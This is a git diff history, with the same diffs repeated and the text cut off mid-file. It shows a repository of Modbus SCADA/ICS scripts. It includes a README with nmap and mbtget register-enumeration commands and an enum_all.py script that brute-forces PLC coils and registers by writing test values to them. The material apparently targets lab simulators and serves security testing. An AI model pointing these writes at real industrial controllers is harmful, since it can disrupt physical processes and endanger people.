diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from 